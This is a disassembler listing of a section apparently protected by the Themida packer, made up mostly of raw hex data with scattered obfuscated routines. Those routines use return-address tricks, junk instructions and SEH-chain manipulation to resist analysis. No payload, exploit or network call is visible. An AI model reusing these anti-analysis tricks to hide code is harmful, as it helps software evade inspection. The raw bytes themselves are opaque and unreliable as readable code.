		dd 0C3514100h, 0CCD9D29h, 6830Fh, 9D8B0000h, 6142EA5h
		dd 0E8525050h, 0Eh, 666BE5E3h, 0AD0FE774h, 238B746Ah, 0BE92510h
		dd 0E6000000h, 10A437AFh, 0A52D6A7Ch, 0F5BD8ADh, 4D6BB31h
		dd 585A3464h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 9462C357h, 8B2DF337h
		dd 142EC99Dh, 98B5FF06h, 6A0617AAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 7E6EC350h
		dd 0DE828h, 0F8430000h,	7C1A2C4Fh, 789750D4h, 81F0EB41h
		dd 0EE3AE7CFh, 0E3815F1Fh, 709BF455h, 2B195FFh,	81660614h
		dd 0FF90D3CBh, 17AA98B5h, 0A9B53106h, 0FF06140Fh, 14308195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 9CC110FFh, 33EC0439h, 0FFBF0F05h, 0EE8h
		dd 0CF28DC00h, 0DC19B30Ah, 0A7D3CC78h, 89D6AF5Fh, 14052D95h
		dd 0BD835B06h, 61409F5h, 36840F02h, 29000000h, 140E6985h
		dd 1858B06h, 8B06142Dh,	142CA9BDh, 0C606h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FCC35646h, 43BF665Ch
		dd 4D85C709h, 61424h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0F54BC351h,	8B1A3CB9h
		dd 1424F59Dh, 0F42DE906h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 5CC73FC3h, 6AC18BBCh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0ABC7C356h, 15EEF1A1h, 0F5FF46B8h, 25E408BFh
		dd 99858D2Ah, 6A06140Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0B347C352h,	0BEB36144h
		dd 0F59FA3F2h, 0B7525090h, 52310F02h, 5BD98B66h, 6650585Ah
		dd 0E890DA8Bh, 12h, 0D128BEA9h,	0AF216343h, 9193CE38h
		dd 93DE7173h, 9D8BC9A1h, 61406BDh, 6A006A5Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0CB57C356h, 0F006ACDh, 68Ah,	45BD2300h, 8B061408h, 142C2DBDh
		dd 17858D06h, 6A06192Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0B272C357h,	9E9C7087h
		dd 291B97B9h, 14165DB5h, 0A58D0906h, 83061423h,	8B6605C0h
		dd 0FD8A90DAh, 9034B750h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 6BC35545h, 58BFCA47h,	6A2B6028h, 5ABF6600h
		dd 66006A2Ah, 0FFA0FABBh, 141A7195h, 25BD8B06h,	8D061416h
		dd 17A8FC8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0BF8C1B2Ch, 53E31913h, 6AD1FFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 1F6BFCC3h, 7E94B2Bh,	0F6000000h, 0AFC66B85h,	9D098197h
		dd 61409A9h, 12CDBD83h,	0F010614h, 7185h, 89026A00h, 14159195h
		dd 12E99006h, 54000000h, 7899A551h, 0B4FE0463h,	462A6C97h
		dd 6EBA3CD9h, 90B750DAh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 567A9539h, 782E103h, 95FF1052h
		dd 6140939h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	85C35242h, 23ADB589h, 5DE90614h, 0E8000010h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6192C21h
		push	0
		push	edi
		call	sub_59B812
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B812	proc near		; CODE XREF: Themida_:0059B80Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_59B812	endp

; ---------------------------------------------------------------------------
		inc	eax
		pusha
		cdq
		sub	eax, 8D29F892h
		or	eax, 8906141Dh
		mov	ebp, 6140C2Dh
		push	edx
		mov	ebx, 5915444Eh
		pop	ebx
		push	eax
		mov	bx, 0A6D2h
		pop	edi
		lea	eax, [ebp+6179623h]
		push	0
		push	eax
		call	sub_59B852
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B852	proc near		; CODE XREF: Themida_:0059B84Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_59B852	endp

; ---------------------------------------------------------------------------
		dw 8D69h
; ---------------------------------------------------------------------------
		pop	es
		cmpsd
		inc	ebx
		sbb	[eax+esi*8+50h], ecx
		jg	loc_59B873
		mov	bl, 42h


loc_59B873:				; CODE XREF: Themida_:0059B86Bj
		mov	[esp], eax
		push	0
		push	eax
		call	sub_59B881
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B881	proc near		; CODE XREF: Themida_:0059B879p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_59B881	endp

; ---------------------------------------------------------------------------
		db 16h,	0F3h, 42h
; ---------------------------------------------------------------------------
		or	ah, [esi-45h]
		sbb	ah, cl
		sub	[ebp+61415F5h],	edi
		push	large dword ptr	fs:0
		jmp	loc_59B8BD
; ---------------------------------------------------------------------------
		db 74h
		dd 7216D044h, 538E009Ch, 785864B8h, 0D1ED2C58h
		db 2Eh
; ---------------------------------------------------------------------------


loc_59B8BD:				; CODE XREF: Themida_:0059B8A6j
		mov	large fs:0, esp
		push	0
		push	esi
		call	sub_59B8CF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B8CF	proc near		; CODE XREF: Themida_:0059B8C7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_59B8CF	endp

; ---------------------------------------------------------------------------
		xor	eax, 1CD7A5EFh
		inc	esp
		mov	eax, 66B3517Fh
		pop	edi
		jns	loc_59B8F4
		mov	di, bx


loc_59B8F4:				; CODE XREF: Themida_:0059B8EBj
		inc	dword ptr [ebp+614236Dh]
		push	0
		push	eax
		call	sub_59B905
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B905	proc near		; CODE XREF: Themida_:0059B8FDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_59B905	endp

; ---------------------------------------------------------------------------
		mov	[eax-0Dh], edi
		jl	short loc_59B999
		lahf
		sub	al, 0Ah
		mov	[ebp+61406C9h],	eax
		push	0FFFFFFFFh
		push	0
		push	ecx
		call	sub_59B930
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B930	proc near		; CODE XREF: Themida_:0059B928p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_59B930	endp

; ---------------------------------------------------------------------------
		dd 41937E7Bh, 57412C6Ch, 0B5FF91CAh, 6142111h, 0EE8h, 262B8C00h
		dd 0ABEF1BADh, 768860C9h, 8B8D1F3Dh, 1430299Dh,	95FF5B06h
		dd 6142B19h, 1AAE9h, 0E9BB6600h, 8B00B031h, 141685BDh
		dd 0F5BD8B06h, 0E606141Fh, 13E870h, 8EF40000h, 0FABCD83Fh
		dd 0FBC1A946h
		db 6Ah
; ---------------------------------------------------------------------------


loc_59B999:				; CODE XREF: Themida_:0059B918j
		xor	ah, cl
		mov	ds:0A58629D4h, eax
		or	cl, ch
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 47760000h, 0B34A27EFh, 71E45BD9h, 5E9h, 65C95600h, 613CDF78h
		dd 15D830Fh, 13E80000h,	87000000h, 1E5F50CCh, 88631CC4h
		dd 3E69D463h, 424CA399h, 8D29C71Dh, 6142C6Dh, 0C8B60F5Fh
		dd 15C18589h, 6BA0614h,	0E9000000h, 0Dh, 4CC6F6C5h, 472BBB37h
		dd 677CBB0Ah, 9BD5BF56h, 0C18B69A6h, 2820F60h, 60000000h
		dd 0CD952961h, 61061405h, 0FE9h, 0F8E0B000h, 50905FC2h
		dd 2085FD13h, 0C8B8270Dh, 0BB04E8C1h, 46B81533h, 8BE2F766h
		dd 60C82BDEh, 37B0EE81h, 0E9506D74h, 0Eh, 0A12009E5h, 270C4F58h
		dd 91EFA181h, 615A8397h, 3C4496BFh, 9D18B4Bh, 142A9D8Dh
		dd 0B5E906h, 9D290000h,	6142375h, 554C858Bh, 0DF8B4947h
		dd 83DE8B66h, 12E907C0h, 7A000000h, 96059A6Eh, 5F5EA3A3h
		dd 33B286DCh, 0D838C9F3h, 0C0839Fh, 5399D89h, 0D03B0614h
		dd 14830Fh, 0BD8B0000h,	61403F9h, 0A351BB66h, 6AE9h, 0E3816600h
		dd 8D8B66A8h, 0FFFFFFFFh, 0E9D98B66h, 0Ah, 99CCFECCh, 0A6E40471h
		dd 0E183A606h, 44840F01h, 66000000h, 0CE69F781h, 0FFFFA583h
		dd 0FFEFFFFh, 0E86h, 9E900h, 9CBF0000h,	4DAD58DFh, 89181CEBh
		dd 47554C95h, 14E949h, 0F56E0000h, 2AA9D1EEh, 3BFA1F1h
		dd 0DAD3D158h, 3C61978Fh, 0E9E062h, 8D000000h, 18AB92B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 5768C369h, 0C75B165Bh, 6A006Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0B4AAC5C3h, 9E9h, 0B4829C00h, 5B32B41Bh, 95897963h
		dd 6141AE5h, 116995FFh,	6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 106531C3h, 0F7120477h
		dd 68F0FF8h, 89000000h,	14303995h, 0F5BB906h, 95890000h
		dd 6141C49h, 6AFCE183h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0D969C350h,	765B778Dh
		dd 2C7336FEh, 12E8h, 0C157DE00h, 3EF8DC99h, 2449461Ah
		dd 0CDEAAF03h, 80B5E0A3h, 0FC5FFACFh, 6AC38166h, 0B8FCh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F8553C3h, 0C8Fh,	6820F00h, 89000000h, 14200DB5h
		dd 6AD22B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 2071C357h, 583DD979h, 0E856B3FBh
		dd 11h,	85B3363Eh, 0AA2891C6h, 0B9E1E59h, 17B308ECh, 5DBD8B54h
		dd 5B06140Fh, 0C233AD5Bh, 0D003E8D1h, 7504E983h, 0E58589F4h
		dd 0E8061410h, 8, 1A6CA74Ah, 7244D3Ch, 9E9h, 0EF591D00h
		dd 6A80AFF9h, 535F5F09h, 7898D89h, 0D5F0614h, 88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CC35343h, 9E881h
		dd 4780000h, 634140FDh,	0E9044B5Fh, 10h, 0ADC4B5F4h, 2F4EDD01h
		dd 4AA02A9Eh, 0B0BCEE26h, 0ADBD8B5Fh, 8B061403h, 14322995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 4A7FC1C5h, 0E1FD977Bh, 9D8B9874h, 6142215h
		dd 64D8D8Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 942729C3h, 0EE6416BAh, 0C28B5012h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 811DC355h, 393596F3h, 53006A4Ah, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 4F2AA7B8h, 0EED9B8CEh
		dd 0BD83F86Dh, 61429ADh, 88840F00h, 89000000h, 141A2195h
		dd 0B806h, 8F0F0000h, 14h, 8E8h, 0F4E7E300h, 0DCB67081h
		dd 959D034Fh, 5B061411h, 4D798D8Dh, 6A0614h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0CD08D6C3h
		dd 953102C9h, 6141095h,	6E9h, 0A08B8300h, 0FF510AE5h, 55006AE1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0C27DF0ACh, 0FC6D9072h, 55B58900h, 83061406h, 142671BDh
		dd 840F0006h, 476h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0DDC35141h, 8D73EDA6h, 0FE2CC79h, 0BD83FBB7h
		dd 6142671h, 5E840F01h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0A7C4C351h
		dd 6440BA36h, 95895D60h, 6140C41h, 55600ABBh, 71BD8318h
		dd 3061426h, 3ED860Fh, 12E90000h, 0F0000000h, 0B65FB824h
		dd 6AF0C331h, 1F8988D9h, 0FE82CE79h, 6890FAAh, 8B000000h
		dd 1420C5BDh, 6A6006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F9F66FC3h, 6AD98C66h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0F412C353h, 0D2D5CE02h, 0FE8h, 9E457A00h, 227B1760h
		dd 0E4376F0Eh, 0DC3315EBh, 9646BF66h, 4E1805Fh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4FC35646h, 8B533095h
		dd 14082DBDh, 0FC90A06h, 11C84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 226E32F9h
		dd 8B9B9BC3h, 14196985h, 0CB81F506h, 13C0BABBh,	1B818533h
		dd 81660614h, 506C2DDBh, 0BF505250h, 44E9AB9Fh,	0E8310F5Bh
		dd 0Fh,	6308BCA6h, 845A1F54h, 9DD85601h, 53197F26h, 585A5B5Bh
		dd 0F240489h, 87h, 6A006A00h, 3E85000h,	20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0D191C350h,	15BD9D2Bh
		dd 70680614h, 817202A7h, 0A48F2434h, 0BF66721Dh, 95FF2F4Fh
		dd 61409ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	85C35545h, 89377A5Ch, 5860F9Ch,	0BF000000h, 1B538E7Ah
		dd 0AA988589h, 6A0617h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 936FEAC3h, 62B4CB20h, 10E8E8h, 0EF680000h
		dd 33A81DEh, 0F1EA4BE5h, 0B6785661h, 8B664054h,	0CEE95FF9h
		dd 89000001h, 140F5D85h, 90858B06h, 0F80617AAh,	1800C7h
		dd 8D890000h, 6141FE1h,	0AA94B58Bh, 6A0617h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0EBD95FC3h
		dd 8BF17428h, 140B2985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 217ABEEBh, 689DBA0h, 7FF8EEBFh
		dd 69858B22h, 6A061419h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0D75FC350h,	76664D96h
		dd 0A279CB13h, 575BD89h, 46890614h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 96856741h
		dd 13E8h, 0D1311400h, 30F7850Ah, 0ED74B405h, 71699149h
		dd 2E6874h, 13E8h, 0D350D000h, 5E900DABh, 0B87C5E2Eh, 37823147h
		dd 6C65C5A1h, 5F5B5F51h, 0B5FF9650h, 617AA90h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h, 81660BBBh
		dd 683C53CBh, 648D8CFCh, 2B820Fh, 13E80000h, 22000000h
		dd 75FCFA3h, 0DCF15F69h, 2A23ED0h, 8BD844BCh, 0DE987A7h
		dd 23000000h, 0BD0E609Fh, 667F4DF9h, 0C19CE950h, 2434815Bh
		dd 64928F03h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	7AC35545h, 0F24C108h, 858DDBB7h, 617AA98h, 0A52EBE60h
		dd 8D8B3F09h, 614081Dh,	1DB75061h, 1240489h, 142E59BDh
		dd 0AD95FF06h, 6A061409h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 7629C352h, 6AC2C5ECh
		dd 297A79B3h, 141109BDh, 0C7F86106h, 14267185h,	306h, 52BF6600h
		dd 98BD83F8h, 617AAh, 3D840Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 8040B6C3h
		dd 8F5D0B95h, 0E9FE8B66h, 2Eh, 0EE9h, 0D49FB700h, 1514D235h
		dd 0B4B1CE66h, 50359E40h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 9E3C1DC3h, 0F99589D9h
		dd 6A06142Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 6B5EC353h, 78AC9441h, 0EB801ABCh
		dd 71BD831Fh, 3061426h,	4ED850Fh, 6E90000h, 0E000000h
		dd 3227E7DCh, 0FD8D89FCh, 83061400h, 17AA98BDh,	840F0006h
		dd 4CFh, 0AA98B5FFh, 0BD230617h, 614267Dh, 2AF595FFh, 6A0614h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 4B61ACC3h, 859D8996h, 8B06140Bh, 17AA8CB5h, 7D9D8B06h
		dd 0C7061430h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 14E973h, 9DFE0000h, 7D53C9BCh
		dd 73DD2433h, 0F238137Dh, 951C566Dh, 0F50034Fh,	484h, 0FB8B5600h
		dd 2434895Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	0D7C35343h, 23877BDAh, 3C9766Ch, 141039BDh, 98B5FF06h
		dd 0F0617AAh, 68Dh, 85BD8B00h, 0FF061404h, 140B3195h, 5FBF6606h
		dd 8CB58B3Bh, 6A0617AAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 9F8AC350h, 8B37C041h
		dd 1421D585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 20918EAEh, 86891459h, 0C4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F1C35747h, 0E7A49C36h
		dd 283321FFh, 7DBD8B0Ch, 8B06140Ah, 14322995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 3715C77Eh, 19619501h, 8B660614h, 4C283DAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CEC35545h, 0EA90F9F6h
		dd 249CBB48h, 508924F9h, 25BD8B20h, 8D06142Eh, 17BE0685h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 77BC0343h, 84F78910h, 89526D4Ch,	1405818Dh
		dd 86895B06h, 0B8h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 86C35242h, 8B66EE96h,	0C38166DEh, 6A504Bh
		dd 0AA98B5FFh, 6A0617h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 66FFF4C3h, 6179EF81h, 5E8h, 32901100h
		dd 0CB802ABFh, 95FF5BA2h, 6140939h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0B3C35646h,	1577A7BBh, 8B961967h
		dd 0E86050D9h, 10h, 0D5F15FFh, 0F5B1717Ch, 64AD3967h, 571484FFh
		dd 3665B966h, 61B5B25Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 8424ECE7h, 66E6E380h
		dd 77BDCB81h, 0AA98B5FFh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E953EFC3h, 8, 52E8740h
		dd 36C52822h, 25A5B589h, 95FF0614h, 61420F5h, 0F9858B60h
		dd 0E9061431h, 5, 0DAA6F02Fh, 0BD8361E4h, 6140C21h, 9E840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 8444C351h, 0BFBD26BBh,	3E97CD95h
		dd 11E86096h, 0CA000000h, 0C709718h, 1E162496h,	755762FDh
		dd 57718A5Ch, 50596160h, 0F48B352h, 0F525031h, 5A585A31h
		dd 60506158h, 1161BA66h, 0CE8h,	999A8A00h, 1AAF7307h, 8A19D9DDh
		dd 5F2FB76Ch, 6A9661h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E9B778C3h, 5, 9C518D3Bh, 0FD98BA9h
		dd 48Ch, 0FCBB6600h, 98B5FFFAh,	6A0617AAh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 85E1C356h
		dd 0FF424DCh, 684h, 918D0100h, 6006140Eh, 2601958Bh, 95890614h
		dd 6141141h, 0B195FF61h, 0E8061402h, 7,	21935E0Fh, 8913BBFFh
		dd 14198185h, 0B5FF5F06h, 617AA98h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 59C35646h, 0DF8166C7h, 95FF8E92h
		dd 6143081h, 10E952h, 0C47F0000h, 1E8E65AFh, 8B7B2E25h
		dd 4886E18h, 835BC30Dh,	1409F5BDh, 840F0206h, 63h, 5BDE8B51h
		dd 12DD9D09h, 858B0614h, 6142D01h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 5DC35545h, 624A14B9h, 0FFBF0F2Eh
		dd 0AE9h, 0C9E02700h, 0E8E6B91Fh, 0C65C1253h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0C7A1B7C3h, 14244D85h, 6, 21BD8B00h,	0E906142Eh, 0FFFFF0D7h
		dd 2FA1BF66h, 8D01C18Bh, 614247Dh, 3D648D8Dh, 6A0619h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F58D16C3h, 32298D89h, 6A0614h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0DC6B4BC3h, 5A595D2h
		dd 0AE9h, 6CD1BB00h, 9E26FA9Ch,	0C73F5E83h, 14064D85h
		dd 623006h, 0AE900h, 0CAC90000h, 0A2727453h, 0F8B9A9AEh
		dd 0C70FE280h, 14267185h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0EF6F762Ah
		dd 0A3E041BFh, 0C2BF6605h, 359D89C0h, 0FF061415h, 1414ADB5h
		dd 95BD8B06h, 0FF061425h, 14236195h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0F0AF291Fh
		dd 0FF191426h, 95FF006Ah, 6141169h, 7CEBC08Bh, 11D0D594h
		dd 0ADBA1540h, 8FCB49A7h, 22F12DFEh, 1A7ED09Ch,	3D7AA206h
		dd 8459307Bh, 0EFD5DDBEh, 20D8A3C5h, 0EB73A366h, 0BB36B68Ah
		dd 0F179C8D8h, 5D445FD6h, 69B1DD02h, 0AA53E051h, 95BFA3D2h
		dd 177D8FA0h, 2E6BED6Eh, 33D047E1h, 7478B4A9h, 919A601h
		dd 2CB54C2Ch, 0FBE77058h
		dd 7BC5F700h, 91AB57F8h, 2B50985Bh, 0D495FBFAh,	0F452C38Bh
		dd 242D03C2h, 34B14E67h, 7BDC22B1h, 3E8F8D8Dh, 9D8B0619h
		dd 61402D1h, 32298D89h,	0D78B0614h, 4D85C7FCh, 0B4061406h
		dd 6A00005Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 984FC350h, 0F11A9B14h,	0C7240431h
		dd 14267185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0BD016030h, 61409DDh
		dd 6120D380h, 14ADB5FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0C301C3h, 0FF9386EFh
		dd 14236195h, 6AC28A06h, 6995FF00h, 8B061411h, 0DE7CEBC0h
		dd 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh, 0CB2411ACh
		dd 0F60AF8D8h, 6D881DDDh, 3656A724h, 0D6530C9Bh, 0C68DEE39h
		dd 5BE1FAE9h, 0C889EB88h, 9335F770h, 0A5D607C6h, 82013818h
		dd 99C63DE7h, 0CD00F1DBh, 0DFD28ED1h, 0B82FDFEh, 0FFA27D10h
		dd 0C5DECB72h, 43BDC82Ch, 7A89FD2Fh, 776713D2h,	0CB908055h
		dd 2F35EBC4h, 14BF9C9Fh, 0B2733CE0h, 0A77263BEh, 0E12F17C4h
		dd 0DEDC3476h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch
		dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338C3C6Ah, 0FFB44E60h
		dd 0F867A5E4h, 0A08C3CE2h, 0D343A3BEh, 79672024h, 0C5C5A3BAh
		dd 0D71B2027h, 338C053Ah, 831D2933h, 0C0982633h, 0BFA706B6h
		dd 0D6157635h, 0AF811921h, 890DD963h, 839E3222h, 35982664h
		dd 1F152359h, 4B811911h, 0B41DAB63h, 39E3F0Ch, 86CDB3CCh
		dd 14932027h, 6AA1A23Ch, 0B0152633h, 9C811911h,	4DAACE63h
		dd 0F6D82633h, 6CB0A3BEh, 24C8202Ah, 0CDA704B6h, 0FF677635h
		dd 338C333Ah, 1794E2B0h, 54A704B6h, 23157635h, 55811921h
		dd 0F40DD963h, 3D9E3222h, 6A982651h, 6474AD66h,	11CE7464h
		dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h
		dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h,	0E868AD03h
		dd 5AAD63h, 0A9982C88h,	0D49BCF33h, 896F2633h, 3566A57Dh
		dd 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh
		dd 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C811923h,	0DDDABBEh
		dd 9320202Ah, 78000000h, 271E7FCh, 0C8D00731h, 4904C783h
		dd 0FFF2850Fh, 0B58DFFFFh, 6194045h, 40648D8Dh,	0CF2B0619h
		dd 8B05E983h, 0A3BB20C8h, 3026289Ch, 89EA9C67h,	696FB663h
		dd 0B23D00A9h, 3632008Ch
		db 28h,	0B4h, 0BBh
byte_59CC5F	db 2Ch			; DATA XREF: Themida_:00548C7Co
		dd 8BB18615h, 30265B0Ch, 73B62F01h, 5C321001h, 35DA5D01h
		dd 16320401h, 0BF6FC15Ch, 0B736256Dh, 2036A445h, 73324001h
		dd 0BC08E354h, 21D0914Eh, 603867A1h, 36320BE8h,	3EB75701h
		dd 577A48D3h, 1095B48Eh, 63E9BD60h, 3409C95Bh, 831B1001h
		dd 3026154Ch, 3622ED91h, 58210201h, 739F0190h, 86058BB6h
		dd 0C2FFB5F6h, 50622756h, 0A65258BBh, 2A0FBD30h, 373D0215h
		dd 5CCC264Dh, 35DA5601h, 16328001h, 0BF6D835Eh,	0B736047Dh
		dd 2F363445h, 71320801h, 410BC756h, 45412966h, 30BD0EF4h
		dd 0BF328001h, 222BC184h, 36587807h, 3631F854h,	6B120801h
		dd 5ABB59C2h, 72B30625h, 362A0525h, 63778001h, 0CF959DC2h
		dd 0F6B11E36h, 0F0B3762Dh, 3EB9FE79h, 0DE62046Bh, 36320202h
		dd 6EF15921h, 3216C488h, 32160480h, 3632201Ah, 0B1F14041h
		dd 79F3C0Ch, 3972F0E9h,	0BD54F8BEh, 3658FD49h, 36316852h
		dd 6D124001h, 6ABB7BC2h, 72B31425h, 36250C25h, 65710401h
		dd 0D87D7C2h, 8B336161h, 3026A23Ch, 0B1C2C167h,	83BB4143h
